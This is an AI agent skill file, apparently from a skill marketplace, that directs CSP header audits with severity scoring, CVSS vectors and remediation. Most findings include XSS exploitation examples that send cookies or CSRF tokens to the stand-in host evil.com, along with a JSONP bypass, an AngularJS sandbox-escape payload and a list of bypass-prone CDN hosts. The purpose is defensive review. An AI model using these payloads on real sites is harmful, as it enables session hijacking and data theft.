skills/content-security-policy/SKILL.md
Analyze Content-Security-Policy headers for misconfigurations and bypass risks. Use when reviewing CSP from raw strings, URLs, or domains.
npx skillsauth add igbuend/grimbard content-security-policyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Analyze CSP headers and generate security findings with remediation guidance.
Target: $ARGUMENTS (raw CSP string, URL, domain, or file path)
| Capability | Description | |------------|-------------| | Input Detection | Auto-detect raw CSP, URL, domain, or file path | | Syntax Validation | Validate directives and source values against CSP Level 3 | | Security Analysis | Detect unsafe patterns, bypasses, and missing directives | | Strength Scoring | Deduction-based score (A-F) with justification | | Remediation | Generate recommended CSP with migration steps |
Detect input type from $ARGUMENTS and retrieve CSP:
Raw CSP string (contains directive keywords like default-src, script-src):
URL (starts with http:// or https://):
curl -sI -L "$URL" | grep -i "content-security-policy"
Domain (no scheme, no directives):
# Fetch CSP from homepage
curl -sI -L "https://$DOMAIN" | grep -i "content-security-policy"
# Spider via sitemap
curl -sL "https://$DOMAIN/sitemap.xml" | grep -oP '<loc>\K[^<]+' | head -20
For each discovered page, fetch headers. Cap at 20 pages.
If no sitemap exists, extract links from homepage and check up to 20 unique paths.
File path (ends with common extensions or exists on disk):
Edge cases to handle:
<meta http-equiv="Content-Security-Policy">Content-Security-Policy-Report-Only → note it is non-enforcingframe-ancestors, no report-uri, no sandbox)Split policy on ; into directives. For each directive:
| Fetch Directives | Document Directives | Navigation Directives | Reporting |
|---|---|---|---|
| default-src | sandbox | form-action | report-uri |
| script-src | base-uri | frame-ancestors | report-to |
| script-src-elem | plugin-types | navigate-to | |
| script-src-attr | | | |
| style-src | | | |
| style-src-elem | | | |
| style-src-attr | | | |
| img-src | | | |
| font-src | | | |
| connect-src | | | |
| media-src | | | |
| object-src | | | |
| frame-src | | | |
| child-src | | | |
| worker-src | | | |
| manifest-src | | | |
| prefetch-src | | | |
Other valid directives: upgrade-insecure-requests, block-all-mixed-content, require-trusted-types-for, trusted-types
Validate source values:
'self', 'unsafe-inline', 'unsafe-eval', 'unsafe-hashes', 'strict-dynamic', 'report-sample', 'none', 'wasm-unsafe-eval''nonce-<base64>''sha256-<base64>', 'sha384-<base64>', 'sha512-<base64>'https:, http:, data:, blob:, mediastream:, filesystem:example.com, *.example.com, https://example.com*Detect syntax errors:
self instead of 'self', unsafe-inline instead of 'unsafe-inline')For each finding, explain why the configuration is dangerous and provide an exploitation example showing how an attacker abuses it.
CSP-01 | unsafe-inline in script-src | Critical
Why: Completely defeats CSP's XSS protection. Any injection point becomes exploitable because the browser trusts all inline scripts.
<!-- Attacker injects via reflected/stored XSS: -->
<script>document.location='https://evil.com/?c='+document.cookie</script>
CSP-02 | unsafe-eval in script-src | High
Why: Allows string-to-code execution. Attackers use eval(), Function(), setTimeout(string), or setInterval(string) to run injected payloads even without inline script tags.
// Attacker exploits an injection point that flows into eval:
eval('fetch("https://evil.com/?d="+document.cookie)')
CSP-03 | Wildcard * in script-src | Critical
Why: Permits script loading from any origin. Attacker hosts payload on any domain they control.
<script src="https://evil.com/steal.js"></script>
CSP-04 | data: in script-src | Critical
Why: Allows inline script execution via data URIs, bypassing host-based restrictions entirely.
<script src="data:text/javascript,alert(document.domain)"></script>
CSP-05 | blob: in script-src | High
Why: Attacker creates executable blob URLs from injected inline code, bypassing script-src host allowlists.
// If attacker can inject any JS (e.g. via unsafe-eval or JSONP):
var b = new Blob(["alert(document.domain)"], {type:"text/javascript"});
var u = URL.createObjectURL(b);
var s = document.createElement("script"); s.src = u; document.body.appendChild(s);
CSP-06 | Known bypass endpoint allowlisted | High Why: Allowlisted CDNs/APIs often host JSONP endpoints or JavaScript libraries (like AngularJS) that let attackers execute arbitrary code while staying within the CSP allowlist.
<!-- JSONP callback bypass (googleapis.com allowlisted): -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>
<!-- AngularJS sandbox escape (cdnjs.cloudflare.com allowlisted): -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(document.domain)')()}}</div>
CSP-07 | http: scheme in any directive | Medium
Why: Allows loading resources over unencrypted HTTP. A network attacker (MITM) can inject malicious scripts into HTTP responses.
# Attacker on same network intercepts HTTP script load and replaces content:
script-src http://cdn.example.com → MITM injects malicious JS in transit
CSP-08 | Overly broad host allowlist | Medium Why: Each additional allowlisted host expands the attack surface. Any XSS, open redirect, or JSONP endpoint on those hosts becomes a CSP bypass vector. More hosts = higher probability one is exploitable.
CSP-09 | unsafe-inline in style-src | Low
Why: Enables CSS injection for data exfiltration. Attacker uses attribute selectors to leak sensitive content character-by-character.
<!-- Exfiltrate CSRF token via CSS injection: -->
<style>
input[name="csrf"][value^="a"] { background: url("https://evil.com/?c=a"); }
input[name="csrf"][value^="b"] { background: url("https://evil.com/?c=b"); }
/* ... repeat for each character */
</style>
CSP-10 | unsafe-hashes in script-src | Medium
Why: Allows execution of specific inline event handlers by hash. If the hashed handler contains injectable content (e.g. from a template), attacker can execute code through that handler.
CSP-11 | Wildcard subdomain *.example.com in script-src | Medium
Why: Any subdomain becomes a valid script source. Attacker exploiting XSS on a forgotten subdomain (staging, legacy app, user-generated-content subdomain) can serve scripts that the main site trusts.
<!-- Attacker compromises legacy.example.com and serves: -->
<script src="https://legacy.example.com/evil.js"></script>
CSP-12 | object-src allows plugins | High
Why: Permits <object> and <embed> tags to load plugin content. Attacker embeds a malicious Flash SWF or PDF that executes JavaScript in the page context.
<object data="https://evil.com/exploit.swf" type="application/x-shockwave-flash"></object>
Flag these allowlisted hosts in script-src (from "CSP Is Dead, Long Live CSP" research):
| Host Pattern | Bypass Type |
|---|---|
| *.googleapis.com | JSONP endpoints |
| *.gstatic.com | Angular library hosting |
| *.google.com | JSONP callbacks |
| cdnjs.cloudflare.com | Angular/other framework bypasses |
| *.jsdelivr.net | Arbitrary JS hosting |
| *.unpkg.com | Arbitrary npm package serving |
| *.rawgit.com | Raw GitHub content |
| *.cloudflare.com | Various JSONP endpoints |
| accounts.google.com/gsi/client | Google Sign-In JSONP |
| ID | Finding | Severity | Risk | Exploitation |
|----|---------|----------|------|-------------|
| CSP-20 | No default-src | High | No fallback; unlisted directives unrestricted | Attacker loads resources from any origin via directives not explicitly set |
| CSP-21 | No script-src (no default-src fallback) | Critical | Scripts from any origin | <script src="https://evil.com/xss.js"></script> executes freely |
| CSP-22 | No object-src | High | Plugin-based XSS | <object data="//evil.com/exploit.swf"> runs in page context |
| CSP-23 | No base-uri | Medium | <base> tag hijacking | <base href="https://evil.com/"> redirects all relative URLs (scripts, forms) to attacker domain |
| CSP-24 | No frame-ancestors | Medium | Clickjacking | Attacker iframes the page and overlays transparent UI to trick clicks |
| CSP-25 | No form-action | Medium | Form data theft | Attacker injects <form action="https://evil.com/steal"> to exfiltrate user-submitted data |
| CSP-26 | No upgrade-insecure-requests | Low | Mixed content | HTTP sub-resources remain vulnerable to MITM on HTTPS pages |
| CSP-27 | No reporting | Low | No violation visibility | CSP bypasses go undetected; no data to tune policy |
| CSP-28 | No style-src (no default-src fallback) | Low | CSS injection | Attacker loads external CSS with attribute selectors to exfiltrate page data |
| CSP-29 | No img-src restriction | Low | Data exfiltration | <img src="https://evil.com/log?data=..."> leaks tokens via URL parameters |
| Practice | Check |
|----------|-------|
| Nonce-based CSP | script-src uses 'nonce-...' instead of allowlists |
| strict-dynamic | Present in script-src (propagates trust to loaded scripts) |
| Trusted Types | require-trusted-types-for 'script' present |
| Strict default-src | Set to 'none' or 'self' |
| Reporting enabled | report-uri or report-to configured |
| Report-Only testing | Uses Report-Only header before enforcing |
| Level | Indicator |
|-------|-----------|
| Level 1 | Host-based allowlists only |
| Level 2 | Nonces or hashes present |
| Level 3 | strict-dynamic, Trusted Types, script-src-elem/script-src-attr |
Baseline CVSS vectors per finding profile. Adjust based on application context (see adjustment guidance below).
CVSS 3.1 Profiles
| Profile | Score | Vector | Findings |
|---------|-------|--------|----------|
| Complete CSP bypass | 9.3 | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N | CSP-01, -03, -04, -21 |
| Conditional CSP bypass | 8.0 | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N | CSP-02, -05, -06, -12, -20, -22 |
| Network content injection | 5.3 | AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N | CSP-07 |
| Policy weakening | 4.7 | AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N | CSP-08, -11, -23, -25 |
| UI redress | 4.3 | AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N | CSP-24 |
| Limited code execution | 4.2 | AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N | CSP-10 |
| Data leak via CSS/images | 3.1 | AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N | CSP-09, -28, -29 |
| Hardening recommendation | — | No direct attack path | CSP-26, -27 |
CVSS 4.0 Profiles (verify with FIRST calculator)
| Profile | Score | Vector | Findings |
|---------|-------|--------|----------|
| Complete CSP bypass | ~9.2 | AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N | CSP-01, -03, -04, -21 |
| Conditional CSP bypass | ~8.3 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N | CSP-02, -05, -06, -12, -20, -22 |
| Network content injection | ~6.4 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N | CSP-07 |
| Policy weakening | ~2.3 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N | CSP-08, -11, -23, -25 |
| UI redress | ~5.1 | AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N | CSP-24 |
| Limited code execution | ~2.1 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N | CSP-10 |
| Data leak | ~2.1 | AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N | CSP-09, -28, -29 |
| Hardening recommendation | — | No direct attack path | CSP-26, -27 |
CVSS 4.0 typically scores lower than 3.1 for conditional findings. Both versions provided for customer compatibility.
Score Adjustment Guidance:
Start at 100. Deduct per finding:
| Severity | Deduction per finding | |----------|----------------------| | Critical | -25 | | High | -15 | | Medium | -5 | | Low | -2 |
Bonus points (max +20):
| Bonus | Points |
|-------|--------|
| Nonce-based script-src | +5 |
| strict-dynamic present | +5 |
| Trusted Types enabled | +5 |
| Reporting configured | +3 |
| upgrade-insecure-requests | +2 |
Score interpretation:
| Grade | Score | Meaning | |-------|-------|---------| | A | 90-100 | Strong CSP, minor improvements possible | | B | 75-89 | Good CSP, some gaps to address | | C | 50-74 | Moderate CSP, significant weaknesses | | D | 25-49 | Weak CSP, major risks present | | F | 0-24 | Ineffective CSP, provides minimal protection |
Floor at 0. Cap at 100.
Reporting requirement: Every finding MUST include:
Do not report generic risk labels alone. A developer reading the report should understand the exact attack vector without needing to look anything up.
Generate this report structure:
# CSP Analysis Report
**Target:** {URL/domain/raw}
**Date:** {date}
**CSP Source:** {Response header | Meta tag | Raw input}
**CSP Level:** {1 | 2 | 3}
**Score:** {score}/100 (Grade {A-F})
## Raw Policy
{full CSP string}
## Parsed Directives
| Directive | Values |
|-----------|--------|
| default-src | 'self' |
| script-src | 'self' 'unsafe-inline' cdn.example.com |
| ... | ... |
## Findings
### Critical
#### [CSP-01] `unsafe-inline` in script-src
**Directive:** `script-src` | **Value:** `'unsafe-inline'`
**CVSS 3.1:** 9.3 (`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`)
**CVSS 4.0:** ~9.2 (`AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`)
**Why this is dangerous:** Completely defeats CSP's XSS protection. The browser trusts all inline scripts, so any injection point becomes directly exploitable.
**Exploitation example:**
```html
<script>fetch('https://evil.com/?c='+document.cookie)</script>
Recommendation: Remove unsafe-inline. Use nonce-based CSP ('nonce-{random}') or hash-based CSP ('sha256-...'). Add 'strict-dynamic' to propagate trust to scripts loaded by nonced scripts.
{Repeat for each finding per severity tier: High, Medium, Low. Each finding MUST include: CVSS 3.1 + 4.0 with vectors, Why dangerous, Exploitation example, and Recommendation.}
| ID | Directive | Risk | Recommendation |
|----|-----------|------|----------------|
| CSP-22 | object-src | Plugin XSS | Add object-src 'none' |
| Practice | Status | Notes | |----------|--------|-------| | Nonce-based CSP | Missing | Using allowlist-based approach | | strict-dynamic | Missing | Add for CSP Level 3 | | ... | ... | ... |
default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'self'; object-src 'none'; upgrade-insecure-requests; report-uri /csp-report
Score: {score}/100 ({grade})
Key Actions:
For domain scans with multiple pages, add a comparison table:
```markdown
## Page Comparison
| Page | CSP Present | Score | Key Differences |
|------|-------------|-------|-----------------|
| / | Yes | 72 | Baseline |
| /login | Yes | 65 | Adds unsafe-inline for form |
| /api/docs | No | 0 | No CSP header |
Before finalizing:
Raw CSP analysis:
/csp-review default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline'
Single URL:
/csp-review https://example.com
Domain spider:
/csp-review example.com
development
Security anti-pattern for Cross-Site Scripting vulnerabilities (CWE-79). Use when generating or reviewing code that renders HTML, handles user input in web pages, uses innerHTML/document.write, or builds dynamic web content. Covers Reflected, Stored, and DOM-based XSS. AI code has 86% XSS failure rate.
development
Security anti-pattern for XPath injection vulnerabilities (CWE-643). Use when generating or reviewing code that queries XML documents, constructs XPath expressions, or handles user input in XML operations. Detects unescaped quotes and special characters in XPath queries.
development
Security anti-pattern for weak password hashing (CWE-327, CWE-759). Use when generating or reviewing code that stores or verifies user passwords. Detects use of MD5, SHA1, SHA256 without salt, or missing password hashing entirely. Recommends bcrypt, Argon2, or scrypt.
development
Security anti-pattern for weak encryption (CWE-326, CWE-327). Use when generating or reviewing code that encrypts data, handles encryption keys, or uses cryptographic modes. Detects DES, ECB mode, static IVs, and custom crypto implementations.